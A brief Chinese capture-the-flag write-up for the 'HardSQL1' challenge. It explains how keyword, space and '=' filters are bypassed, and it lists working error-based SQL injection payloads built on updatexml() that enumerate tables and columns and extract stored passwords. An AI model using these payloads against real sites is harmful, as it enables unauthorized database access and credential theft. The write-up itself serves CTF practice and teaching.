BUU :[极客大挑战 2019]HardSQL1

 这个题过滤了些关键字:

BUU :[极客大挑战 2019]HardSQL1_第1张图片

 大概是这些(736)

一开始不知道空格也被过滤了,后面吃了点亏。

过滤了的关键词,是不能用双写来绕过的。单纯的不能用了。

 没有了union就不能使用联合注入。

这里使用简单的updatexml()进行报错注入

用括号来代替空格
用or来代替and

1'or(updatexml(1,concat(0x7e,(SELECT(database())),0x7e),1))%23&password=1

用like来代替“=”

1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=1

1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=1


用left和right来代替substr

1'or(updatexml(1,concat(0x7e,left((select(group_concat(password))from(H4rDsq1)),31),0x7e),1))%23&password=1 
1'or(updatexml(1,concat(0x7e,right((select(group_concat(password))from(H4rDsq1)),31),0x7e),1))%23&password=1 

你可能感兴趣的:(C语言题目,SQL注入,ctf)